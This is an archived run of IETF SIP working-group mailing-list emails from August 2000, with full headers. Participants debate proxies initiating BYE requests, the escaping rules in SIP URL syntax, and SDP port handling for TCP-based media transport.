From mailman-owner@lists.bell-labs.com Tue Aug 1 05:09:03 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA04416 for ; Tue, 1 Aug 2000 05:09:00 -0400 (EDT) From: mailman-owner@lists.bell-labs.com Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 82F8D448C9 for ; Tue, 1 Aug 2000 05:05:44 -0400 (EDT) Subject: lists.bell-labs.com mailing list memberships reminder To: sip-archive@ietf.org X-No-Archive: yes Precedence: bulk X-Mailman-Version: 1.1 Precedence: bulk List-Id: Message-Id: <20000801090544.82F8D448C9@lists.bell-labs.com> Date: Tue, 1 Aug 2000 05:05:44 -0400 (EDT) This is a reminder, sent out once a month, about your lists.bell-labs.com mailing list memberships. It includes your subscription info and how to use it to change it or unsubscribe from a list. You can visit the URLs to change your membership status or configuration, including unsubscribing, setting digest-style delivery or disabling delivery altogether (e.g., for a vacation), and so on. In addition to the URL interfaces, you can also use email to make such changes. For more info, send a message to the '-request' address of the list (for example, sip-request@lists.bell-labs.com) containing just the word 'help' in the message body, and an email message will be sent to you with instructions. If you have questions, problems, comments, etc, send them to mailman-owner@lists.bell-labs.com. Thanks! Passwords for sip-archive@lists.ietf.org: List Password // URL ---- -------- sip@lists.bell-labs.com TDGd http://lists.bell-labs.com/mailman/options/sip/sip-archive@lists.ietf.org From sip-admin@lists.bell-labs.com Tue Aug 1 05:19:04 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA06569 for ; Tue, 1 Aug 2000 05:19:04 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id DFA3844484; Tue, 1 Aug 2000 05:15:43 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from jodie.lucid (unknown [212.25.93.158]) by lists.bell-labs.com (Postfix) with SMTP id C1F9344476 for ; Tue, 1 Aug 2000 05:15:38 -0400 (EDT) Received: (qmail 19887 invoked by uid 1002); 1 Aug 2000 09:10:46 -0000 From: Dvir Oren MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Tue, 1 Aug 2000 12:10:43 +0300 (IDT) To: Jonathan Rosenberg Cc: SIP Subject: Re: [SIP] Proxy initiating a BYE In-Reply-To: <39862A2A.878BBF63@dynamicsoft.com> References: <14725.44127.403193.648226@jodie.lucid> <39862A2A.878BBF63@dynamicsoft.com> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14726.35447.996397.900378@jodie.lucid> Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Jonathan Rosenberg writes ("Re: [SIP] Proxy initiating a BYE"): > application server acting as a B2BUA. See the 3pcc draft for some ideas > on how this works. I've readh through the 3pcc draft, and find that there is one characteristic missing. The second example (click-to-dial) assumes sount out-of-band mechanism for a user to initiate a call using the 3pcc (in the example it was some HTTP application). I'll quote: We assume for purposes of this discussion that the web server is actually an applications server that contains an http interface. In this case, when the user clicks on the URL, the application server knows, through cookies or some other state mechanism, the addresses of the participants to be connected. How is this done using SIP? I want UserA to send an INVITE to a 3pcc, to which it will send an INVITE to UserB. This is why I wanted a proxy. A proxy will do exactly that. However, I need some timing capabilities (such as a calling card that is time limited). This means that the "man in the middle" will need to hang up. An ideal solution for me would be for the proxy to hang up. Perhaps what I need it to signal the UA that it should hang up, and then the end UA will send the BYE, instead of the proxy. This will require an extension to SIP. I think that for many QoS and similar applications, this issue should be address more cleanly. Suppose a proxy controls a firewall to open or close ports for the RTP. For some reason the proxy decides that this call should no longer pass through the firewall. A nice solution would have been for the proxy to somehow initiate the teardown of the call. The tools that the RFC provide seem to point to simply closing the RTP and letting ICMP notify the parties that they can't be reached. Am I missing something? -- Dvir Oren Lucid VON Ltd. 9 Saloniki St., Tel-Aviv Israel Tel: +972 3 644 3038 Fax: +972 3 644 3039 _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 1 05:24:31 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA07723 for ; Tue, 1 Aug 2000 05:24:31 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id DFC2E443ED; Tue, 1 Aug 2000 05:21:53 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id 44318443A0 for ; Tue, 1 Aug 2000 05:21:48 -0400 (EDT) Received: from gethin by ubiquity.net with SMTP (8.8.8+Sun/25-eef) id KAA05182; Tue, 1 Aug 2000 10:19:41 +0100 (BST) From: Gethin Liddell Organization: Ubiquity Software Corp. To: "Ajay Chitturi" , Subject: Re: [SIP] Change in SIP URL syntax Date: Tue, 1 Aug 2000 09:48:24 +0100 X-Mailer: KMail [version 1.0.29.2] Content-Type: text/plain References: <078292D50C98D2118D090008C7E9C6A6018A812E@STAY.platinum.corp.microsoft.com> In-Reply-To: <078292D50C98D2118D090008C7E9C6A6018A812E@STAY.platinum.corp.microsoft.com> MIME-Version: 1.0 Message-Id: <00080110154301.09353@gethin> Content-Transfer-Encoding: 8bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 8bit On Tue, 01 Aug 2000, Ajay Chitturi wrote: > > Hi, > > I noticed the following change in the SIP URL syntax in the latest > version of 2543bis > > Added semicolon and question mark to the list of unreserved > characters for the user part of SIP URLs > to handle tel: URLs properly. > there was a long discussion on this a couple of weeks back. i will not go over all of the arguments, for and against, yet again, but point you in the direction of the archives instead (thread name is: "SIP URL telephone-subscriber syntax"). If after reading these, you still disagree with the forum's consensus then please raise this issue again with your new objections. > Wouldn't the change make URL parsing ambiguous ? > > For eg. the URL could be parsed in two different ways : > (i) host is a and param is b=c@d > (ii) user is a;b=c and host is d no, this is not ambiguous. ; is allowed in user so the user is a;b=c this is black and white there is no ambiguity via the greedy parsing algorithm. if you wanted the former, then the url should look like: sip:a;b=c%40d It is the case that any character that incorrectly changes the semantics of URI's MUST be escaped. that is all that is happening here. It is suggested that @ is always escaped in parameters. even if this is not required for example: a@b;c@d is user "a" host "b" param "c@d" but it is suggested to even make the parameter here "c%40d". mainly because this will make development easier :) > Am I missing something ? > Is there a simple way to parse URL's with this change ? perhaps this has made parsing sip url's slightly more difficult but this is considered better than double escaping of characters or defining new escaping techniques to enable the encapsulation of the tel url in the user. HTH -- Gethin Liddell Ubiquity Software Corporation http://www.ubiquity.net mailto:gethin@ubiquity.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 1 05:55:55 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA15579 for ; Tue, 1 Aug 2000 05:55:54 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 0C7C64438A; Tue, 1 Aug 2000 05:55:16 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from exchangesvr.nuera.com (unknown [204.216.240.124]) by lists.bell-labs.com (Postfix) with ESMTP id 54CF844370 for ; Tue, 1 Aug 2000 05:55:13 -0400 (EDT) Received: by exchangesvr.nuera.com with Internet Mail Service (5.5.2650.21) id <3T7JFV8B>; Tue, 1 Aug 2000 02:56:16 -0700 Message-ID: From: "Fairlie-Cuninghame, Robert" To: "'Gethin Liddell'" , Ajay Chitturi , sip@lists.bell-labs.com Subject: RE: [SIP] Change in SIP URL syntax Date: Tue, 1 Aug 2000 02:56:12 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Unfortunately Gethin, that's not true as the draft currently stands (July). '@' doesn't need to be escaped when it appears in a paramter name or value. Jonathan and Henning were discussing changing the draft in this respect but I never saw any concrete conclusion reached. Robert. -- My opinions are my own. I tried selling them once but everybody seems to already have one. -- > -----Original Message----- > From: Gethin Liddell [mailto:gethin@ubiquity.net] > Sent: Tuesday, August 01, 2000 4:48 PM > To: Ajay Chitturi; sip@lists.bell-labs.com > Subject: Re: [SIP] Change in SIP URL syntax > > > On Tue, 01 Aug 2000, Ajay Chitturi wrote: > > > > Hi, > > > > I noticed the following change in the SIP URL syntax in the latest > > version of 2543bis > > > > Added semicolon and question mark to the list of unreserved > > characters for the user part of SIP URLs > > to handle tel: URLs properly. > > > > there was a long discussion on this a couple of weeks back. > i will not > go over all of the arguments, for and against, yet again, but > point you > in the direction of the archives instead (thread name is: "SIP URL > telephone-subscriber syntax"). If after reading these, you still > disagree with the forum's consensus then please raise this issue again > with your new objections. > > > Wouldn't the change make URL parsing ambiguous ? > > > > For eg. the URL could be parsed in two > different ways : > > (i) host is a and param is b=c@d > > (ii) user is a;b=c and host is d > > no, this is not ambiguous. ; is allowed in user so the user is a;b=c > this is black and white there is no ambiguity via the greedy parsing > algorithm. if you wanted the former, then the url should look like: > > sip:a;b=c%40d > > It is the case that any character that incorrectly changes the > semantics of URI's MUST be escaped. that is all that is happening > here. It is suggested that @ is always escaped in parameters. even if > this is not required for example: > > a@b;c@d > > is user "a" host "b" param "c@d" but it is suggested to even make the > parameter here "c%40d". mainly because this will make development > easier :) > > > Am I missing something ? > > Is there a simple way to parse URL's with this change ? > > perhaps this has made parsing sip url's slightly more difficult but > this is considered better than double escaping of characters or > defining new escaping techniques to enable the encapsulation > of the tel > url in the user. > > HTH > > -- > Gethin Liddell > Ubiquity Software Corporation > http://www.ubiquity.net mailto:gethin@ubiquity.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 1 06:06:33 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA17886 for ; Tue, 1 Aug 2000 06:06:32 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id B27F94439B; Tue, 1 Aug 2000 06:06:16 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from exchangesvr.nuera.com (unknown [204.216.240.124]) by lists.bell-labs.com (Postfix) with ESMTP id A3BA844355 for ; Tue, 1 Aug 2000 06:06:13 -0400 (EDT) Received: by exchangesvr.nuera.com with Internet Mail Service (5.5.2650.21) id <3T7JFV8L>; Tue, 1 Aug 2000 03:07:16 -0700 Message-ID: From: "Fairlie-Cuninghame, Robert" To: "'David Yon'" , "Fairlie-Cuninghame, Robert" , Anders Kristensen Cc: sip@lists.bell-labs.com Subject: RE: [SIP] SIP, SDP, and TCP-based media transport Date: Tue, 1 Aug 2000 03:07:14 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com I am uncertain as to whether you understood my point so I will give an example. SDP A c=IN IP4 10.0.0.1 m=audio 6000 RTP/AVP 0 SDP B c=IN IP4 10.0.0.2 m=audio 7000 RTP/AVP 0 This does not infer that B must send packets with a source port of 7000 or that A must send packets with a source port of 6000 (if my understanding of SDP is correct - please correct me if I'm wrong). In your TCP model, must a TCP connection connection use a source port equal to the destination of the remote node ? If so, isn't this going against the spirit of the SDP spec ? Robert. -- My opinions are my own. I tried selling them once but everybody seems to already have one. -- > -----Original Message----- > From: David Yon [mailto:yon@dialout.net] > Sent: Tuesday, August 01, 2000 9:18 AM > To: Fairlie-Cuninghame, Robert; Anders Kristensen > Cc: sip@lists.bell-labs.com > Subject: RE: [SIP] SIP, SDP, and TCP-based media transport > > > At 05:27 PM 7/31/00 -0700, Fairlie-Cuninghame, Robert wrote: > >Just thought I'd interject: > > > > > The problem with port zero is that it forces a > server to use > > > dynamic port assignments. There are many cases where you > > > want a TCP server > > > to be sitting listening on a single port for incoming > > > connections (indeed, > > > this is the norm for most TCP-based services). Assuming this > > > topology, how > > > is the server able to correlate an incoming connection to the > > > original SIP > > > caller? In normal SIP/SDP, both sides specify an > Address/Port pair, > > > forming a unique four-tuple which identifies the session. If > > > you force the > > > client-side port to be zero, you lose a critical piece of > information > > > necessary for the client to determine which party just connected. > > > > >I was under the impression that for the UDP case each SDP > body specifies > >only the destination port and that UDP packets do NOT have > to have to have > >their source port equal to the opposing destination port!! This same > >property should be reflected in any TCP model, should it not ? > > > >Robert. > > > > > > You are correct, but I did not mean to infer that > both sides would > specify the *same* Address/Port pair. Certainly the > addresses would be > different, and it would only be coincidence if the port > numbers were to be > the same. > > > David Yon > Chief Technical Officer > Dialout.Net, Inc. > yon@dialout.net > > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 1 06:15:31 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA17887 for ; Tue, 1 Aug 2000 06:06:32 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 9B4D644379; Tue, 1 Aug 2000 06:04:42 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from jodie.lucid (unknown [212.25.93.158]) by lists.bell-labs.com (Postfix) with SMTP id 0C15F44355 for ; Tue, 1 Aug 2000 06:04:37 -0400 (EDT) Received: (qmail 20068 invoked by uid 1002); 1 Aug 2000 09:59:44 -0000 From: Dvir Oren MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Tue, 1 Aug 2000 12:59:39 +0300 (IDT) To: SIP X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14726.39029.901757.124694@jodie.lucid> Subject: [SIP] Proxy initiating a BYE - contd. Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Just as an afterthought regarding my previous query, what happens if a proxy fails to proxy an ACK? (Note: This is perhaps similary to another example posted on the list when a proxy discovers that to send the ACK it will have to loop. My question is a bit more general) When I asked what should a UAS do when it sent a 200 response without receiving an ACK, I was replied that it should die quietly. Now, if the proxy failed to send the ACK (for the 200), then the UAS will die quietly, and the UAC, will think it sent a perfectly good ACK. The proxy knows that it cannot send the ACK, however it cannot inform the UAC that the ACK failed, without initiating a BYE. This is a somewhat simpler situation of a proxy initiating a BYE since it only sends the BYE one direction - but this is exactly the direction that is problematic. Besides, the issue is whether the proxy should send the BYE or not. -- Dvir Oren Lucid VON Ltd. 9 Saloniki St., Tel-Aviv Israel Tel: +972 3 644 3038 Fax: +972 3 644 3039 _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 1 06:23:23 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA21483 for ; Tue, 1 Aug 2000 06:23:23 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id B010F443A5; Tue, 1 Aug 2000 06:23:17 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id B49A844355 for ; Tue, 1 Aug 2000 06:23:09 -0400 (EDT) Received: from gethin by ubiquity.net with SMTP (8.8.8+Sun/25-eef) id LAA11023; Tue, 1 Aug 2000 11:20:31 +0100 (BST) From: Gethin Liddell Organization: Ubiquity Software Corp. To: "Fairlie-Cuninghame, Robert" , Ajay Chitturi , sip@lists.bell-labs.com Subject: RE: [SIP] Change in SIP URL syntax Date: Tue, 1 Aug 2000 11:01:29 +0100 X-Mailer: KMail [version 1.0.29.2] Content-Type: text/plain References: In-Reply-To: MIME-Version: 1.0 Message-Id: <00080111163400.10012@gethin> Content-Transfer-Encoding: 8bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 8bit On Tue, 01 Aug 2000, Fairlie-Cuninghame, Robert wrote: > Unfortunately Gethin, that's not true as the draft currently stands (July). > '@' doesn't need to be escaped when it appears in a paramter name or value. you are correct that @ does not HAVE to be escaped in the majority of situations (as i said previously), but where it changes the semantics of the sip url, i.e. changes what is host and what is not, then by implication it MUST. > Jonathan and Henning were discussing changing the draft in this respect but > I never saw any concrete conclusion reached. then we will wait for them to confirm or disagree when they come on-line later in the day. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 1 06:40:09 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA25107 for ; Tue, 1 Aug 2000 06:40:09 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id B761E443E5; Tue, 1 Aug 2000 06:39:35 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id 7C1ED44355 for ; Tue, 1 Aug 2000 06:39:14 -0400 (EDT) Received: from jhornsby by ubiquity.net with SMTP (8.8.8+Sun/25-eef) id LAA13168; Tue, 1 Aug 2000 11:36:17 +0100 (BST) From: "Jo Hornsby" To: "Dvir Oren" , "SIP" Subject: RE: [SIP] Proxy initiating a BYE - contd. Date: Tue, 1 Aug 2000 11:36:18 +0100 Message-ID: <000301bffba4$534fcbd0$4e34c3c1@ubiquity.co.uk> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 In-Reply-To: <14726.39029.901757.124694@jodie.lucid> Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit > Just as an afterthought regarding my previous query, what happens if a > proxy fails to proxy an ACK? If it's because the proxy is inherently incabable, you buy a new proxy from a different vendor. Otherwise, it's going to be some horrible network failure, I guess; well, these things happen. > (Note: This is perhaps similary to another example posted on the list > when a proxy discovers that to send the ACK it will have to loop. > My question is a bit more general) I can't understand why a proxy would ever find out that it had to loop an ACK, if it's going by the bis draft (mandating Contact has effectively eliminated this as a problem). The only case, then, that a proxy would "discover" that it had to loop an ACK would be if one or both of the UAs were dain-bramaged and inserting incorrect Contact addresses; or perhaps even a proxy inserting an incorrect Record-Route. It's difficult to legislate against a broken implementation if the vendor went at it with a sledgehammer. &:) > When I asked what should a UAS do when it sent a 200 response without > receiving an ACK, I was replied that it should die quietly. Now, if > the proxy failed to send the ACK (for the 200), then the UAS will die > quietly, and the UAC, will think it sent a perfectly good ACK. > > The proxy knows that it cannot send the ACK, however it cannot > inform the UAC that the ACK failed, without initiating a BYE. This is trivially solved by magic of Session Timer. And even if Session Timer is not being used, I would guess that the callee is eventually going to figure that something is wrong. If the 'phone rings, and I pick it up, and all I hear is dead air, I'm going to put the 'phone back down. There's nothing wrong with the UAS sending a BYE. The point was that it might not necessarily work because the reason you didn't see an ACK was because all the 200s were getting lost. If all the 200s are getting losts, a BYE isn't likely to do any better. > This is a somewhat simpler situation of a proxy initiating a BYE since > it only sends the BYE one direction - but this is exactly the > direction that is problematic. Besides, the issue is whether the > proxy should send the BYE or not. Ultimately, I think we're getting down to the notion of logical roles. In the end, all of these things: UAC, UAS, stateful proxy, yada, yada, are logical roles. A proxy doesn't initiate requests (other than ACK or CANCEL), period. This doesn't mean that you can't have some sort of hybrid server that appears (to other elements in the "SIP Network") like a UAC in some scenarios, and like a proxy in others. However, in this case, I would consider such an approach unnecessary in the face of Session Timer. It is easy for a proxy along the route to mandate the use of Session Timer, which seems to solve all problems. And if you want to solve other problems, best to look to more "standard" ways such as 3pcc, first. Cheers, - Jo. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 1 07:15:36 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA02811 for ; Tue, 1 Aug 2000 07:15:36 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id AFAA54436C; Tue, 1 Aug 2000 07:15:20 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from polaris.shore.net (polaris.shore.net [207.244.124.105]) by lists.bell-labs.com (Postfix) with ESMTP id 9F9B144336 for ; Tue, 1 Aug 2000 07:15:17 -0400 (EDT) Received: from (hither.rfdsoftware.com) [209.192.222.62] by polaris.shore.net with esmtp (Exim) id 13Ja0y-0005pt-00; Tue, 01 Aug 2000 07:15:17 -0400 Received: from cx991414-a.dialout.net (cx991414-a.crans1.ri.home.com [24.0.249.47]) by hither.rfdsoftware.com (8.9.2/8.9.2) with ESMTP id HAA25637; Tue, 1 Aug 2000 07:08:38 -0400 (EDT) Message-Id: <4.3.2.7.2.20000801065004.00d381c0@webhost.tactical-sw.com> X-Sender: dnyon@webhost.tactical-sw.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 01 Aug 2000 07:15:39 -0400 To: "Fairlie-Cuninghame, Robert" , "Fairlie-Cuninghame, Robert" , Anders Kristensen From: David Yon Subject: RE: [SIP] SIP, SDP, and TCP-based media transport Cc: sip@lists.bell-labs.com In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Yes, thank you, I was not entirely clear on your point. I don't know for sure whether your assertion is true or false. I don't see why a UA *wouldn't* source packets from the port number it advertised, it certainly seems like that would make things cleaner. I suppose NATs throw in a wrench, but there again I don't see why a SIP ALP on NAT wouldn't be able to open up a port binding using the same WAN port for both directions. But yes, I've never read anything that says sourcing packets from the destination port is a requirement. As far as a TCP connection using "a source port equal to the destination of the remote node", well, by definition this is what TCP connections do! When a TCP connection is set up, it is defined by a four-tuple, and all communication is between two IP addresses and exactly two port numbers. So if you are receiving packets on port 4399, you will also be sending packets from 4399, there's no way around it. The only additional requirement I'm proposing---and as I mentioned in an earlier message, maybe it's not a requirement in all topologies---is that the initiator of the connection announce the port number of that endpoint prior to doing the connect for the purpose of identification. This is definitely in the spirit of SDP, which does not require that the media stream contain an inline mechanism to identify the session. Rather, the session is identified in external signaling (SIP), and the four-tuple of the RTP is how a UA maps a media stream to a SIP session. At 03:07 AM 8/1/00 -0700, Fairlie-Cuninghame, Robert wrote: >I am uncertain as to whether you understood my point so I will give an >example. > >SDP A >c=IN IP4 10.0.0.1 >m=audio 6000 RTP/AVP 0 > >SDP B >c=IN IP4 10.0.0.2 >m=audio 7000 RTP/AVP 0 > >This does not infer that B must send packets with a source port of 7000 or >that A must send packets with a source port of 6000 (if my understanding of >SDP is correct - please correct me if I'm wrong). > >In your TCP model, must a TCP connection connection use a source port equal >to the destination of the remote node ? If so, isn't this going against the >spirit of the SDP spec ? > >Robert. > >-- My opinions are my own. I tried selling them once but everybody > seems to already have one. -- David Yon Chief Technical Officer Dialout.Net, Inc. yon@dialout.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 1 07:47:15 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA11007 for ; Tue, 1 Aug 2000 07:47:14 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id BC51644389; Tue, 1 Aug 2000 07:47:02 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 63BA744336 for ; Tue, 1 Aug 2000 07:46:59 -0400 (EDT) Received: from dynamicsoft.com (ip65.honxr1.ras.tele.dk [195.249.119.65]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id HAA08446; Tue, 1 Aug 2000 07:48:08 -0400 (EDT) Message-ID: <3986B85E.9B3CA541@dynamicsoft.com> Date: Tue, 01 Aug 2000 07:45:34 -0400 From: Anders Kristensen Organization: dynamicsoft X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; I) X-Accept-Language: en MIME-Version: 1.0 To: Dvir Oren Cc: SIP Subject: Re: [SIP] Proxy initiating a BYE - contd. References: <14726.39029.901757.124694@jodie.lucid> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Dvir Oren wrote: > > Just as an afterthought regarding my previous query, what happens if a > proxy fails to proxy an ACK? > > (Note: This is perhaps similary to another example posted on the list > when a proxy discovers that to send the ACK it will have to loop. > My question is a bit more general) > > When I asked what should a UAS do when it sent a 200 response without > receiving an ACK, I was replied that it should die quietly. Now, if > the proxy failed to send the ACK (for the 200), then the UAS will die > quietly, and the UAC, will think it sent a perfectly good ACK. > > The proxy knows that it cannot send the ACK, however it cannot > inform the UAC that the ACK failed, without initiating a BYE. This is not something for the proxy to worry about. The session is being setup end-to-end and proxies cannot and should not tear down or otherwise modify an ongoing session. If you need that sort of functionality then you're nto looking at a proxy but at something that acts as a combined back-to-back UAS and UAC - the B2BUA Jonathan talked about. This is what the 3pcc draft is about. As Gethin pointed out session timers or broken media streams may be used by the UAC to detect a situation like the one you describe and take whatever action is appropriate, e.g. attempting to send a BYE. -- Anders Kristensen _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 1 08:40:09 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA24228 for ; Tue, 1 Aug 2000 08:40:09 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 8A2AD443AE; Tue, 1 Aug 2000 08:39:54 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110]) by lists.bell-labs.com (Postfix) with ESMTP id 3212644336 for ; Tue, 1 Aug 2000 08:39:51 -0400 (EDT) Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6]) by penguin.wise.edt.ericsson.se (8.10.1/8.10.1/WIREfire-1.3) with ESMTP id e71CdnQ00956; Tue, 1 Aug 2000 14:39:49 +0200 (MEST) Received: from ericsson.fi (E0080C7FA22D6.lmf.ericsson.se [131.160.30.144]) by fogerty.lmf.ericsson.se (8.9.3+Sun/8.9.3) with ESMTP id PAA07763; Tue, 1 Aug 2000 15:39:48 +0300 (EET DST) Message-ID: <3986C4C7.FB1EDE03@ericsson.fi> Date: Tue, 01 Aug 2000 15:38:31 +0300 From: Hisham Khartabil X-Mailer: Mozilla 4.61 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: Michel 